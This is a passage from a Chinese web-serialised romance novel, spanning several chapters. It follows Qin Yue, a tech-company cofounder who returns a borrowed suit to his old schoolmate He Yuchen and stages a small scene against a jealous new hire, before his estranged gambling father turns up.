周瑶仔细观察秦越的表情,看不出什么异样,只能看出来对方紧绷着身体,好像不适应这样的场合,畏手畏脚的。 但毕竟秦越身份不明,也不知今天又抱着什么心思来的。 不过大概是酒宴上条件没谈妥,也许真跟贺煜臣说的一样,秦越不是简淮川那边的人,他只是游走在两边,看看哪边给的好处更多罢了。 但秦越绝对也是同行,否则不可能立刻察觉到数据被动了手脚。 周瑶思绪几秒钟内千回百转,她决定先把秦越稳住,迟疑片刻后她笑着说道:“秦先生请跟我来,我带您见贺总,方便透露一下,您找他有什么事吗?” 秦越提了提手上的袋子,周瑶这才注意到对方手里还拎着东西。 看来对方连保密合同都拟定好了吗,周瑶边心里吐槽着,边按下电梯按钮,“秦先生动作还挺快的。” 那么快就在芯越智能和贺氏集团中间做了取舍。 秦越进了电梯,动作好像慢慢放松下来,轻声说道:“那天晚上我就送去干洗了,今天去洗衣店洗好了,我就送过来了。” 周瑶完美的笑容裂在脸上。 什么干洗? 她用余光飞快地瞥了一眼袋子,“……” 里面是一套折叠的整整齐齐的西装外套。 看到周瑶脸上的疑惑,秦越把袋子递到周瑶眼下,“是贺总上次借我的衣服。” 信息量有点太大。 周瑶一直到电梯停到了楼层,她表情还是一片茫然。 周瑶在总裁办公室门口敲了敲门,咚咚几声后,她木然地开口:“贺总真是心地善良。” 秦越垂眼站在门口点了点头,像是静静地等到命运降临。 里面一直没有回应,周瑶奇怪地又想再敲几下,就在她抬手的时候,门一下子被拉开,房间里面站着一个年轻的男人。 不是贺煜臣。秦越不动声色地打量着眼前的人。 男人也是一愣,他看了一眼秦越,眼里全是警惕。这一眼扫得很快,跟不经意一样,秦越敏锐地捕捉到了对方的敌意。 “周部长。贺总刚才出去有事了,这位是?”男人跟周瑶是认识的,他朝周瑶颔首,故作轻松道:“我还以为今天贺总约谈的只有我一个人。” 周瑶没察觉到这转瞬即逝的火星子:“他不是来加入集团项目的,只是来顺便谈点事。”她接着说道:“叶晖你的临时工作证已经做好了,记得去人事部拿,明天准时来技术部报道。” 被称作叶晖的男人挂着和善的笑,仿佛刚刚那种护着领地的举动不是他做出来的,“好的,多谢。以后就请多多指教了。” 周瑶摆了摆手,“指教谈不上,集团有你这样的人才加入,是我们的荣幸。” 叶晖讲到这,像是突然意识到秦越还站在旁边,不好意思地让出路,“哎,不好意思,谈着谈着都忘记你了,快都进来吧,杵在门口别人还不知道发生什么事了呢。” 谈吐间,他神态自然,好像他才是这间办公室的主人—— 作者有话说:周瑶:努力挖人中,勿扰[好运莲莲] 秦哥:打探敌情中,勿扰[墨镜] 第99章 周瑶摇了摇头,“我就不进去了。”她拉过秦越,委婉低声道:“现在可能达不到你的心理预期了。” 他们集团已经开始PlanB了,时刻准备着跟芯越智能撕破脸皮,想要封口费当时在酒宴上就该提的。 秦越一脸我不懂你在说什么。 周瑶没招了,她不知道秦越到底想要什么,好像这个人真的就是来还件衣服的。 要不是她清楚对方拿捏了要命的把柄,周瑶都觉得秦越是来竞争上岗老板男朋友的。这种还衣服的套路,她在n个短剧里面见过,毕竟哪个总裁会缺一件西装外套? 周瑶耸耸肩走了,她对公司已经仁至义尽了。 秦越坐在一旁的会客沙发上,脊背笔直视线下垂,全当没看见室内还有第二个人。 叶晖最先憋不住了,他试探性问道:“你也跟周部长认识吗?”周瑶为人叶晖不太熟,但叶晖知道周瑶只对技术和代码感兴趣,能让她亲自引路的,想必不会是什么庸才。 叶晖长着一张娃娃脸,双眼圆润干净,看上去不谙世事,一派天真烂漫,仿佛藏不住什么事。 但这只是看上去。 叶晖这次能拿到贺氏的offer也算是走了狗屎运,跟他同台竞争的那位,面试当天食物中毒去了躺医院,开完药再来的时候已经过了面试时间。 而贺煜臣貌似很讨厌不守时的人,所以这个倒霉蛋就这样生生地错过了这次机会。 叶晖无声无息地审视着秦越,他确信自己没见过这个人,目前虚拟技术领域,能达到贺氏要求的人,寥寥无几,他们大多互相认识。 难道这个人,确实不是来跟自己竞争的? 秦越表现得像是对人情世故一点不了解,对敌意也很迟钝的样子,“嗯,见过几次面。” 叶晖继续试探:“她刚才说你是顺便过来的,你跟贺总很熟吗?” “我是来还他东西的。”秦越绕开了这个问题。 叶晖内心警笛大作,有借才有还,贺煜臣什么身份,能借别人东西? 但他依旧面带微笑,好似跟秦越是旧相识一般:“你也是贺氏的员工吗?” 秦越差不多能猜出对方在想什么,于是便顺着他的心意说道:“不是,我是贺总的同学。” 叶晖闻言并没有放下戒备,他装作好奇道:“我是贺总的大学同学,所以你也是XX大学的吗?” 他言过其实,严格来说,他是贺煜臣的学弟,只能算得上校友,在上大学期间,两人甚至都没有见过面。 后来校友会的时候,他才得到机会跟贺煜臣说上几句话。 秦越低下头:“只是高中同学。” 叶晖多少放下了心,语气轻松问道:“贺总这样的人物,想必他高中也是人才济济,你是不是做虚拟现实这方面的?” 秦越声音更低了:“……我没有上过大学。” 他说的是实话,他的确没在国内上过大学。 听到这,叶晖在内心拼凑出了个七七八八,感情是混得不行的高中同学,来这里打秋风了啊。 他眼神不由地带上了些鄙夷,害他白担心那么久,跟个废物掰扯半天,纯纯浪费时间。 刚才叶晖跟贺煜臣聊得算比较投机,从言语中,他能感觉出贺煜臣对他还是比较满意。对于这次招人,对方并没有透露过多的内部机密,但叶晖知道贺氏最近可能是有些危机,否则贺煜臣不会看起来如此的疲惫。 对于贺煜臣这个人,叶晖在上大学第一天就有所耳闻。优秀毕业生的宣传栏里,他是那里的常客。 贺煜臣父亲白手起家,创造了一个商业奇迹,而他的儿子,也不负众望,没有长歪成不堪重用的富二代,毕业后就立刻进入了贺氏集团的子公司锻炼。 最近几年,更是被他父亲任命接手贺氏最重视的虚拟技术领域的开发。 今天见了面之后,叶晖才意识贺煜臣不仅为人优秀低调,长得也是相当俊美,脾气温和,几乎挑不出什么毛病。 他不介意跟对方有进一步的发展。 叶晖托着下巴,意有所指地说:“你知道最近贺总很忙吧?” 秦越慢慢地把目光转向叶辉,似乎想理解一下叶晖这话什么意思,最后他皱了皱眉,轻轻回答:“不知道。” 叶晖势在必得的微笑卡在脸上。 这人是弱智吗?怎么听不懂人话。让他没事别来骚扰贺煜臣,结果就回了一句轻飘飘的不知道?! 但凡有点羞耻心的人现在就该立刻滚蛋了吧! 叶晖深吸一口气,把为数不多的耐心重新聚集起来,继续试图让秦越意识到他很碍事,“我真不想让无关的事或人来打扰贺总。” 秦越嘴角浮现一点似笑非笑的弧度,甚至配合地轻轻抚掌,“嗯,叶先生你说的非常对。” 突然有种一拳打到棉花上的无力感,叶晖表情凝滞,恨恨地咬了咬后槽牙。 叶晖那种带着点恃才傲物的表情,秦越太熟悉了。 他见过无数这样的人,自以为自己高人一等,从来不知道谦逊为何物。 当然,如果你想露出锋芒的话,那你最好真的有把利刃。 秦越脸上笑容愈来愈深,他有些惊讶地说:“叶先生怎么脸色那么难看。” 他目光逡巡了一下房间内,拿了个不知道放了多久的一次性纸杯,接了点热水递给叶晖,“不会是工作上压力太大了吧。” 叶晖的确在虚拟技术研发上跟遇到了鬼打墙似的,几个月都没有什么进展。虽说这是科研上的常态,但秦越一说,他怎么看对方的笑容,怎么觉得刺眼。 秦越正居高临下地盯着他,叶晖被这个男人看得有些发憷。对方眼睛很黑,看他跟看一个死物没有任何区别,一样的没有任何感情,一样的没有把他放在眼里。 叶晖手一抖,杯子愣是没接住。 一次性纸杯摔在地毯上,什么事都没有,反而秦越闷哼一声,原来那杯水全反扣在了他自己手上。 叶晖呆住了,他虽然没接住,但杯子是垂直下落的,怎么会全浇在对方手背上,但这时候他来不及细想,赶忙拉住秦越的胳膊看看情况。 一只手横插过来,挡住了叶晖的动作。 叶晖看清了来人,下意识地松开了手。 贺煜臣脸色难看,不由分说地拽着秦越到办公室内置的洗手间里,强硬地把他的手按在盥洗池里,接着打开水龙头,冲洗着已经泛红的皮肤。 “怎么回事?”贺煜臣问道。 他们站得很近,贺煜臣的肩膀不轻不重地抵着他,秦越只要一侧头,就能看见贺煜臣浓密的睫毛。记忆里除了学生时代,贺煜臣靠着自己睡觉时,他们从来没有那么近距离接触过。 叶晖可怜兮兮地站在不远处,无辜地对上镜子里贺煜臣的视线,“是他刚才……” 贺煜臣打断叶晖的话,眼睛死死盯着秦越,室内温度像是一下子就降低至零点,他冷冷道:“我问的是你。” 哗啦啦的水流声中,秦越不知道怎么开口一样,半晌他才轻声叹息道:“刚才我想递杯水给叶先生,他没有接住。” 贺煜臣竭力保持着最后的理智,一字一顿地说道:“你为什么要给他倒水,你是服务生吗?我怎么不记得我们公司招了你。” 他跟逼问一样,根本没给秦越回答的机会,甚至没有注意到手上的力气泄愤似的加重,直到秦越压抑着痛哼出来,才发现自己把对方手腕抓出深深的指印。 秦越心道坏了,把人撩拨过头了—— 作者有话说:大概下周可以完结了[墨镜] 第100章 虽说演戏是要演全套,但秦越也没有自虐倾向,接的水也不是什么开水,皮肤只是有点红,但不至于严重到红肿起水泡的地步。 只不过贺煜臣的反应超过了自己的预期,对方紧张地甚至没给他说一句话的机会,在门口看了一眼就已经在心里给这场闹剧定了性。 他几乎是一瞬间就认定刚才落入下风的是自己,受了委屈的也是自己。 秦越有些茫然,因为贺煜臣并不是一个不分青红皂白的人,也不是那么快就下定论的人。 贺煜臣感受着秦越身上传过来的温度,他不好意思明目张胆地盯着秦越看,只好表情严肃地看着洗手池上方的镜子。秦越本来长着一张臭脸,上学期间靠着这个成功击退无数烂桃花。现在被自己乖乖按在水池里,愣是动也没动一下,只是偶尔撩了撩眼皮观察着自己。 像是一个委屈巴巴的落水大型犬,恨不得甩甩身上的水珠,表达他很可怜。 贺煜臣那点刚冒上来的火气又被无形的水珠给浇灭了。 被两人无视很久的叶晖觉得自己要落地生根了,他在没人看到的地方绷着脸,等到贺煜臣终于转身走出了的时候,他想快步迎上去,结果贺煜臣态度很客气,语气却不容置喙:“你先回去吧。” 叶晖眼睛里闪动着受伤的情绪:“抱歉贺总,我不是故意的。” 贺煜臣挽了挽被水浸湿的袖口,嘴角向下垂了一点,“你该道歉的人不是我。” 秦越虚虚捂着手背,像是怕叶晖冲过去欺负,站在贺煜臣身后只愿意露出半个身位。 叶晖要气炸了,他清楚地看见秦越微微翘起的嘴角,以及眼里淡淡的戏谑。 这人刚才一直在装! 叶晖:“贺总,他——” 秦越那点戏谑就跟叶晖看晃了眼一样,瞬间就不见了,他嘴唇抿紧,不知道的人还以为他受了天大的委屈。秦越低着头飞快地说:“这也不是叶先生的错,他也不想的,对吧。” 叶晖指尖掐得手心生疼,他把这口气咽了下去,咬牙切齿地道了歉。 他不知道秦越是怎么蒙骗过贺煜臣的,但他发誓迟早要把秦越这张伪装的皮给扒了,让对方灰溜溜地从这里滚出去。 秦越不知所措地看着叶晖怒气冲冲地走了出去。 贺煜臣突然开口:“你会怪我没有给你出气吗?” 秦越脸上掠过了诧异,他是真没想到贺煜臣会这么说,所以一时没有接话。 但贺煜臣貌似不打算放过他,继续道:“如果是简淮川的话,他是不是就不会这样?” 这特么跟简淮川有什么关系! 秦越眼前闪过简淮川那张花蝴蝶般的脸,身上一阵恶寒。 “他不怎么管我的。”秦越把衣角攥成一团,才硬是把这句话说出来了。 简淮川要是在场,他一定大喊天道不公,兄弟你把我以前带给你的外卖吐出来,再说我没有管过你。要不是我,你早就饿死在计算机前面了! 贺煜臣点了点头,“也是,如果他是认真对你的,宴会上就不会是那样了。” 其实他之前就已经想发火了,可私人感情不能影响工作,他不能因为一个连打架纠纷都算不上的事情,影响公司后续程序开发。 贺煜臣依旧不放心,在手机上找了个跑腿送烫伤药。 秦越很想说这种烫伤药都是受伤之后立刻用的,至于他自己……可能是药送来,伤口就要愈合的情况吧。 他看向贺煜臣,说了一下自己来这的理由:“我是来还你衣服的。” 贺煜臣这次看见躺在沙发上的纸袋,一想到秦越为了这么点小事被烫伤,他蹙眉不悦道:“你不用特意还我,我也不缺这一件衣服。” 秦越怔住,然后手足无措地从沙发上站起来,“我洗干净了的。” 贺煜臣顿了顿,无奈地扶住额头:“我不是这个意思。” 他知道有的人会因为生活窘迫,变得敏感,以至于成了讨好型的人格。 但贺煜臣潜意识里不认为秦越会变成这样。 学生时代里的秦越太过张扬,以至于他看到如今的秦越,还有种做梦般的不真实感。 如果有人不用怎么学习,轻轻松松地就能超过你,你也会印象深刻。贺煜臣认识秦越太早太早,见证了秦越从一个臭屁的小孩,变成了一个更倨傲的少年,而对方也似乎从来不知道低调内敛怎么写。 秦越虽然带着点天才特有的怪毛病,比如说话不中听,要情商有智商,要社交有智商,但他从来不会看不起任何人。 贺煜臣有时也想不明白,为什么有些他连题目都没读懂的问题,秦越可以解答得那么快,甚至还会照顾他的理解能力,为他提供另一种全新的解法。 他会那种带着你是笨蛋吗的眼神,然后认命般地抓着笔重新做题的人,每次贺煜臣问他有那么难吗,你不是已经做出来了吗。 秦越就会没好气地告诉他,因为我在想怎么写你能明白。 他会嫌弃自己很麻烦,不理解为什么自己只喜欢吃那一家的早餐,但他仍旧每次都会记得给自己带。 那时候秦越是他的目标,可是……亦步亦趋的太阳没有任何征兆地熄灭了,陷落在深不见底的泥沼里,泥水把他曾经的光辉遮掩到看不出原本的模样。 不该是这样的,贺煜臣心想。 一阵突如其来的手机铃声打断了贺煜臣的回忆。 秦越也是如临大敌地盯着手机屏幕。 简淮川几个大字在屏幕上跟催他命的符咒一样可怕。 过了几十秒,简淮川那边失去了耐心,挂了电话。秦越刚松一口气,就看见自己微信被对方轰炸了。 [大哥,您人呢?] [捞捞,救救,bug满天飞了!] [听我说,只有上帝才知道刚才那段代码是怎么跑起来的,但是现在上帝他老人家辞职了。] [兄弟,没别的意思,我就是问问你,有没有时间回来当下上帝。] 虽然简淮川是芯越智能董事长,明面上是秦越的老板,但很明显他根本使唤不动秦越。现在他只希望一句好兄弟,能唤醒秦越为数不多的兄弟情。 秦越:“……” 他一言难尽的表情还没在脸上具象化,简淮川的电话又打了过来。 这下子彻底吸引了贺煜臣的注意力,他走了过来看见了屏幕上的人名。 “简董真是大忙人,这么晚了还有事找你?” 秦越按掉手机铃声,看了眼时间:“已经七点多了,我也不打扰贺总了。” 贺煜臣心里面不痛快,讲话不免带着火药味:“简淮川到底给你了多少好处,让你那么死心塌地跟着他?” 秦越眼神飘忽,手机上简淮川的名字亮了又灭,灭了又亮。 他跟简淮川作为芯越智能最早的创始人,两个人的股份加起来将近一半有余,至于年底股东分红到底是多少,秦越也没有算过。他物欲一向很低,钱对他来说只是一些数字,又不能给他科研技术方面带来什么进步,他也没有在这方面关注过,反正有专门的人替他打理。 所以贺煜臣的这个问题,他还真回答不上来。 贺煜臣看着秦越瘦削的下颌,火气更大了:“怎么,简淮川连休息时间都不给你吗?” 秦越最近的确是清减了些,一是因为项目在内测,即将上市,他作为项目负责人没日没夜地观察数据,以防出现bug;二是他一想到马上要回国,可能会见到贺煜臣,这种近乡情怯的感觉让他有点彻夜难眠。 在他愣神的功夫,贺煜臣已经拿到他的手机,按掉了简淮川的来电,然后关掉了手机。他拿起手机在秦越眼皮子底下晃了晃,“秦越你眼光什么时候那么差了?” 秦越额角隐隐作痛,他本来只想卖个惨,可贺煜臣是不是把自己想得太可怜了。 贺煜臣意识到自己讲话可能戳到秦越伤心处了,毕竟如果没有发生过什么意外,对方不可能沦落到这个地步,他又拉不下脸面道歉,沉默片刻,贺煜臣语气微冷道:“你吃过晚饭了吗?” “啊?”今晚所有的话题跳跃度都有点大,秦越后知后觉地被贺煜臣一路拉出了办公室。 贺煜臣面无表情地通知他,“我饿了。” 秦越不懂为什么贺煜臣一脸要吃人的模样,但还是乖乖地坐上了他的车。 透过窗外,熟悉的街道恍如走马灯一幕幕出现在秦越眼前。 贺煜臣停下车的街道,分明是他以前步行上学时必经之路。 远远望去,整条街笼罩在暖黄色的光晕里,各色招牌霓虹灯挨挨挤挤地亮起。时过境迁,原来做小笼包的阿姨现在开起了夫妻店,晚上在路边摆起了烧烤摊,只不过他们都太忙了,根本来不及给过路的他们俩一个眼神。 秦越没有征兆地突然说道:“我记得你很喜欢那个阿姨做的小笼包。” 贺煜臣不置可否地迈了过去,胸口却一阵阵发闷,他想可能是要下雨了,不然为什么会喘不过来气呢。 我已经想不起那家早餐的味道,我只是很喜欢你,希望能多跟你有一些交际。虽然你会帮我解题,可你也会一视同仁地帮助其他同学。 我可能……只是想要你的特殊对待吧。 贺煜臣捏了捏鼻梁,试图驱走这种不适感。 年少时的幼稚举动,也许秦越早就看出来了,但他没有拆穿自己,反而是自己的冲动,让他们的关系到了无法挽回的地步。 秦越没有对不起自己,是他毁了这一切—— 作者有话说:简某:跟你们这些恋爱脑没什么好说的[小丑]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-105 第101章 晚餐期间,秦越一直在等贺煜臣问他当年为何不告而别。 当时秦越把房子售出后,为了防止赌博成瘾的爹还要扒在他们母子身上吸血,把联系方式通通处理了,甚至还特意给母亲转了院,在外地做完手术出院后才回到本市。他回来后就想着要去找贺煜臣,可是对方考上大学之后,就去了外地,连着他的富豪爹也把生意重心搬到了别的城市。 秦越完全没想到在这种信息发达的时代,他竟然会跟贺煜臣失联了。 赌博的爸,重病的妈,还有一个破碎的他。 秦越已经把前因后果的说辞准备了大概,就等着贺煜臣发问。 时间一分一秒过去,直到晚餐结束,贺煜臣一点都没有问他的意思。 秦越忍不住暗示道:“你没有什么要问的吗?” 贺煜臣犹豫了一下,“你要不要来我这里工作?” “工作?”秦越闻言一顿,然后神色古怪地问:“……你?” 贺煜臣瞬间意识到了什么。秦越现在是在给简淮川“工作”,他一直照顾秦越的感受,没有细究具体工作内容是什么,但总归不言而喻。 好像不小心揭开了秦越的伤疤,贺煜臣慌张地移开了目光,轻轻咳了一声,“我意思是来我们公司上班。” 秦越表情有些复杂,有的问题他需要知道答案。 “你是在可怜我吗?” 他的语气褪去了之前刻意伪装的弱小,变得低沉又咄咄逼人。 贺煜臣心下猛地一跳,仿佛被看穿了不可见人的心思一般。 之前他有那么一瞬间觉得,如果秦越能一直这样就好了。看到秦越如此的需要他,他心中竟然生出一种隐秘的快意,仿佛之前两人的地位翻转,他再也不用卑微地仰望对方。 可是贺煜臣冷静了之后,又觉得自己是卑鄙无耻的小人,居然会存着那样阴暗的想法。 贺煜臣被秦越看得不自在,对方眼神里那种久违的认真严肃回来了,他好像又回到了年少时的课桌前,面对着秦越问他有没有听懂的质问。 可这种问题的正确答案是什么?没有人教他。 贺煜臣觉得在此时此刻,明明下位者是秦越,但架在火上烤得人却是自己。他遮掩般地喝了一口水,缓缓地点了点头。 可就在秦越看到自己动作的刹那间,贺煜臣看到秦越眼中似乎有什么东西熄灭了。还没等他明白那是什么,秦越若无其事地笑了,“其实你大可不必这样。” 他看了一眼手表上的时间,又把手机开机,简淮川的消息已经霸屏了,不止是他的消息,还有项目工作组信息也是99+了,看来是真的遇到问题了。 “我先走了。”秦越迟疑了半晌,还是叹了口气起身道别。 如果说装可怜是想让对方原谅自己的不告而别,但他始终不希望贺煜臣偏向自己,仅仅是出于同学情谊的可怜。 说不清道不明的情绪主宰了贺煜臣,他没出息地拉住秦越,冷着脸说:“你是不是要见简淮川。”他一说出这个假设,那股情绪就跟发芽生根了一样,他眸色阴郁,声音带着些微的恳求:“不许去。” 秦越看着贺煜臣抓着自己的手,竟然在微微发着抖,指骨泛着用力到极致的白。他还是松了口,垂眸看向贺煜臣,“你不想让我走?” 贺煜臣对秦越这种明知故问的态度恨得牙痒痒,他真想不管不顾地让秦越去简淮川那,可他做不到。 “当然。” 秦越语气平静:“为什么?” 什么为什么?!怎么又抛给他一些很难回答的原因? 其实只有一个原因,就是秦越依然在他心里占据着很重要的位置。 可是告白被拒这种丢脸的事情,他只要经历一次就够了。他怎么说在别人眼里也算天之骄子,做个舔狗对他来说还是太难了。 贺煜臣低声质问他,“你现在干的事很光彩吗?你父母会怎么想?你能不能……” 秦越打断了他的话,“我没有父亲。” 贺煜臣被对方难得的冷硬语气震了一下,他不知所措地松开手,“抱歉,我不知道。”秦越的父亲什么时候去世了,他一点也不清楚,难道家庭变故,是让秦越放弃学业的原因吗? 秦越顿了一下,意识到自己刚才语气有点太冲了,他态度软下来,“跟你没关系,但我现在真得走了。” 他爸是死是活,秦越丝毫不关心,最好是因为还不起赌债被人打死,他正好能出一口恶气。 贺煜臣一听这话,又拦在秦越面前,“别去见他。” 秦越微妙地从贺煜臣身上看到了对方从前的样子,也是一样的固执。 就像做一道题目,哪怕自己跟他说这样行不通,贺煜臣一定要自己试一试,才会信自己。 贺煜臣认定的事,八匹马都拉不回来,纵使会撞得头破血流,他也要流过血才知道疼。 秦越只能先对不住简淮川了,无奈地说:“我至少要跟他中止一下合作关系吧。” 贺煜臣仰头仔细地看了看秦越的表情,确定对方不是敷衍或者撒谎后,目光又轻轻下移,落在他修长苍白的脖颈上。 还好没有什么可疑的痕迹,否则…… 否则他能做什么呢。 贺煜臣突然就泄气地让出了路,觉得自己有点可笑。他连简淮川都不如,到底可悲的人是谁啊? 突然肩膀一沉,贺煜臣猝然抬起头,对上秦越的视线,对方变回了从前沉着冷静的模样。秦越双手正搭在他的肩膀,只要微微一低头,就是一个完美的接吻姿势。 秦越终究什么也没做,他说道:“等我处理好。” 秦越回到办公室时,整个大平层灯火通明,项目组没有一个走。吃完的外卖盒全都顺手堆在地上,没人有空去扔,人人桌面一杯冰美式,俨然一副要大战至天明的架势。 他推开办公室的玻璃门,里面的简淮川怨念正地瞪着他,一只手还举着电话,正跟电话那头的人嗯嗯啊啊,保证明天这个bug就会荡然无存。 “你怎么在我办公室?”秦越等他挂断了电话问道。 简淮川呵呵一笑,“你也知道这是你的办公室?这几天我就没怎么在这见到你。” 秦越在电脑前坐下,长腿交叠,表现出送客的模样,“你现在见到了。” 简淮川一屁股坐在一边的椅子上,怀揣着双手,“我要监工。” 秦越懒得理简淮川,他工作的时候向来不受干扰,哪怕是个会大喊大叫的人形立牌,他也照样无视。 还没等他打开工作界面,贺煜臣的消息就到了。 [简淮川没有为难你吧?] 秦越唇角一弯,[没有。] 贺煜臣那边似乎纠结着什么,半天才发了一条消息过来,[你现在住在哪?] 秦越犹豫了一下,把他母亲的住址发了过去。 虽然现在生活没有之前困难了,但他妈还是喜欢当年住的那种房子,据她所说那样很有烟火气息。 [那里离公司太远了,我有一套闲置的公寓,你可以来住。]贺煜臣没好意思说他觉得秦越那里已经算郊区了,来市区最方便的交通除了打车就是地铁。 他不指望秦越能承担的起打车费用,但是挤地铁过来基本就是人形上去人饼下来。 秦越蓦然一顿,他往后微微靠向椅背,敲了敲桌面,觉得这貌似超过了普通同学该有的叙旧情谊。 随后他半真半假地商量着:[好啊,租房的合同麻烦你拟一下,我按市场价付给你行不行。] 几分钟后,秦越收到了回复。 [随便你。] 秦越一想到贺煜臣打出这行字的时候,脸色憋屈气鼓鼓的表情,他笑容更明显了。 简淮川看见在电脑屏幕白光之下,他的兄弟露出一个清晰的微笑,简淮川忍不住抖落一身鸡皮疙瘩,“你看着这些bug,你还能笑得出来?” 秦越回完消息,施施然把笑容收起,然后冷淡地望着简淮川说道:“快点处理完,我等会要回家。” 简淮川:“?”他看着显示器右下角的时间,“程序员加班到晚上十点算早退,你知道不。” 他自然是开玩笑,主要是工作狂魔秦越都能说出要早点回家这种惊悚的话,这足以证明自己已经出现幻觉了。 办公室里鸦雀无声,简淮川又朝秦越望去,发现对方认真地敲打着键盘,对自己的玩笑不理不睬,心里泛起嘀咕,“你不会真的要走吧?” 秦越敲完最后一行代码,然后环顾办公室玻璃墙外的那帮子人,指了指他们:“这不是还有人么,我雇他们是为了吃白饭的?每次出问题都要我处理,那下次他们工资也都算给我好了。” 简淮川:“……” 秦越想了想又说:“对了,我要辞职。” 简淮川感觉一股血往头顶窜去,他身体晃了晃,勉强扶住桌子站稳,“你开什么玩笑?” “我打算去贺煜臣那里上几天班。” 简淮川两眼一黑,不可置信说道:“你恋爱脑发作了?你身为董事即使想离任,也是要经过董事会决议的好不好。” 秦越摸了摸下巴,“也行,什么时候开董事会?” 简淮川情急之下大吼一声:“秦越!” 办公室外加班的人纷纷朝这边望了过来,简淮川忍了又忍,把百褶窗放了下来,表情很郁闷:“你发疯也得有个限度,贺煜臣那里是敌营你懂不,是咱们对手。” 秦越拿起办公室钥匙,“你不出来吗?我要锁门了。” 简淮川脸色麻木:毁灭吧,我累了—— 作者有话说:小贺的剧本:《救风尘》[可怜] 小简的剧本:MD,被人偷家了![小丑] 第102章 简淮川一个箭步窜了过去,挡在门口,语气坚定:“除非你说你是去做商业间谍,否则我肯定不会同意你离职。” 再说,合同任期都还没到期呢,但秦越要是真赔了违约金,他好像也拿对方一点办法没有。 简淮川顿时愁眉苦脸起来。 “跟你开玩笑而已。”秦越摁了摁眉心,“我只是去那边待几天。” 他没想到简淮川真的会当真,而且他也不可能在项目没有完成的时候,就拍拍屁股一走了之的人。更何况,芯越智能掺杂了他的心血,不是一句旧人重逢,就能抛之脑后的东西。 简淮川扒住门框,一点也不相信秦越,如果是别人说这话,他大概率会相信。 “你还会开玩笑?”简淮川满眼狐疑。 秦越用能急死简淮川的语速,慢慢悠悠地说道:“上次酒宴你喊我过去,但是没跟我说清楚到底是什么宴会。” 简淮川被堵得说不出话来,这事他都不想提了。本来他就是纯恶作剧,想捉弄一下一直没什么情绪波动的秦越,结果反而被秦越摆了一道。 秦越摊了摊手。 三秒钟后。 等到简淮川反应过来,差点气到红温:“我靠,秦越你在耍我?你也太小心眼了吧!” 不过很过简淮川就把自己哄好了,他松开了刚被他牢牢把控的门框,想起秦越刚回国,国内驾照还没办好,于是善心大发地问道:“我送你回去?” 秦越长腿快步跟他拉开距离,“不要,不用,谢谢。” 简淮川目瞪口呆,眼睁睁看着秦越眨眼间就移到了电梯间,他拍马赶上,然后指了指自己,“咋了,我是鬼吗?你跑那么快干啥。” 秦越无声地呼出一口气,跟简淮川约法三章,“以后在公共场合别跟我说话。” 简淮川:“?” 他睁大眼睛,站在电梯门口:“你什么意思?” 然后就被秦越毫无兄弟情地挡在电梯门外,“你坐下一班电梯。” 简淮川嘴角抽动两下:“??” 缓缓关闭的电梯门后,传来秦越冷酷的最后通牒,“对了,公共场合最好也要跟我保持距离。” 简淮川:“???” 不是,这人有病吧?- 周瑶以为自己加班加出了错觉,不然她怎么能看见秦越,而秦越坦然得就像是单位的老员工,顺手还跟她打了个招呼。 “你在这里干什么?”周瑶一下子愣在原地。 秦越递给周瑶一份文件,平静地说:“上班。” 周瑶依旧愣愣地接过来,脑子还没转过来,“上班?” 秦越指了指她的隔壁,“我在你旁边这间办公室工作,如果有需要可以随时喊我。” 周瑶:“已经定下来了?”她在猜测是谁开了后门的游戏中仅用了一秒钟。 相比之下,秦越就显得平静多了。 他其实还挺欣赏周瑶这个人的,业务能力过硬,最重要的是她没有那么多不正的心思。 这段时间周瑶给他发的消息,他一条也没法回。虽然对方不一定会查ip,但万一呢,他很难解释为什么芯越智能创始人的ip地址在贺氏集团。 不过周瑶对这个项目提出了一个改进的方向,秦越十分赞同。 人脑拥有几百亿个神经元,不同区域在不同时间负责不同功能。如果能在使用虚拟现实技术时,提高神经元利用率,可以使虚拟世界模拟更为真实,也更为高效。 这样有利于排斥者的使用体验,同时,在相同的时间里,使用者可以经历的小世界数量将大大提高。 这就意味着他们需要编写更为复杂的程序。 周瑶盯着秦越眼下的乌青,觉得这实在不像是天降横财的样子,更像是打了几份工的苦命人。 她不知道秦越在这里过上了白天做些文书工作,晚上回去编写程序的全天候社畜生活。 下班的时候,秦越抓起贺煜臣公寓的钥匙,然后步行回去。 这套公寓确实离公司很近,路上还有很多商超,通勤只需要十几分钟,生活也很便利。 秦越已经在这住了好几天了,他本来从国外带回来的东西就不多,压根就没搬家这道流程。 公寓门口,一个不停徘徊的男人,听到了电梯开门声,他赶紧扒拉了一下头发,抹了把脸凑了过去。 秦越听到了楼道里突兀的脚步声音,不由得放慢了速度。 “你是……”男人本来不是很确定的开口,待看清暗处秦越的长相后,立刻喜笑颜开,“儿子!真的是我儿子!” 秦越一动不动地看着男人表演。 可能是秦越无动于衷的表情太明显,他搓了搓手,尴尬一笑,“我是爸爸啊,你不认得我了吗?” 男人跟十年前没有什么区别,无非是皱纹多了几道。 秦越看向男人已经不再年轻的脸,说良心话,对方并没有变成什么油腻的中年人,也就是这幅好皮囊,当年才骗了他母亲。 对这个跟自己长得有几分像的人,秦越没什么想说的。 他摸向口袋,结果摸了个空,才想起自己已经把烟戒了。 “不请我进去坐坐吗?”男人没有热脸贴冷屁股的尴尬,反而迫不及待地站在门外,眼巴巴地看着秦越。 秦越对男人的厚脸皮感到震惊,可一想到对方以前翻箱倒柜地找钱,当实在找不到钱的时候,也是这样厚颜无耻地问他要。 对这种泼皮无赖,否认是没用的。他只会像个狗皮膏药一样,死死黏在他认为能榨出价值的人身上。 秦越并不想开门,不想让这个人踏进房间一步。于是就站在走道里开门见山:“你想要什么?” 秦父也是跟了秦越好几天,本来他是不指望自己能找到这个失踪了十年的亲儿子。结果前一周,他去以前住过的地方躲债,毕竟熟悉的地盘更适合他躲藏。结果得到了一个令他意想不到的消息。 曾经的街坊邻居跟他说了一嘴,提到一个长得很像秦越的人,说他跟一个看起来似乎是个大老板的人,来这片吃过饭。 其实街坊们没有恶意,他们当年都知道秦越成绩不错,毕业之后拿了一个高薪工作也不稀奇,所以也只是八卦想知道秦越在哪里高就。 但这话落在秦父的耳朵里,那就是另外一层的意思。 一个明晃晃的摇钱树摆在他触手可得的地方了。 秦父两眼放光,不依不饶地追问:“你住在这种单身公寓里,应该赚得不少吧?” 这种黄金地段的江景房,治安也是一流的,光是应付门卫他就废了好大的功夫。 秦越笑了笑,然后打破了他的幻想:“这不是我的房子,我只是暂住在这里。” 